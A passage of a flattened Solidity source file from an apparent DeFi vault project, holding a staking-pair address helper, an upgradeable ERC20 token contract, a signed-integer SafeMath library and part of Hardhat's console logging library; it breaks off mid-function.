defaultPrefix = _newDefaultPrefix;
}
function stakingTokenForVaultToken(address _vaultToken) external view returns (address) {
address _pairedToken = pairedToken[_vaultToken];
if (_pairedToken == address(0)) {
_pairedToken = defaultPairedToken;
}
return pairFor(uniLikeExchange, _vaultToken, _pairedToken);
}
function nameForStakingToken(address _vaultToken) external view returns (string memory) {
string memory _pairedPrefix = pairedPrefix[_vaultToken];
if (bytes(_pairedPrefix).length == 0) {
_pairedPrefix = defaultPrefix;
}
address _pairedToken = pairedToken[_vaultToken];
if (_pairedToken == address(0)) {
_pairedToken = defaultPairedToken;
}
string memory symbol1 = IERC20Metadata(_vaultToken).symbol();
string memory symbol2 = IERC20Metadata(_pairedToken).symbol();
return string(abi.encodePacked(_pairedPrefix, symbol1, symbol2));
}
function pairForVaultToken(address _vaultToken, address _pairedToken) external view returns (address) {
return pairFor(uniLikeExchange, _vaultToken, _pairedToken);
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
}
// File contracts/solidity/token/ERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[45] private __gap;
}
// File contracts/solidity/interface/IRewardDistributionToken.sol
pragma solidity ^0.8.0;
interface IRewardDistributionToken {
function distributeRewards(uint amount) external;
}
// File contracts/solidity/util/SafeMathInt.sol
pragma solidity ^0.8.0;
/**
* @title SafeMathInt
* @dev Math operations with safety checks that revert on error
* @dev SafeMath adapted for int256
* Based on code of https://github.com/RequestNetwork/requestNetwork/blob/master/packages/requestNetworkSmartContracts/contracts/base/math/SafeMathInt.sol
*/
library SafeMathInt {
function mul(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when multiplying INT256_MIN with -1
// https://github.com/RequestNetwork/requestNetwork/issues/43
require(!(a == - 2**255 && b == -1) && !(b == - 2**255 && a == -1));
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing INT256_MIN by -1
// https://github.com/RequestNetwork/requestNetwork/issues/43
require(!(a == - 2**255 && b == -1) && (b > 0));
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
// File hardhat/[email protected]
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
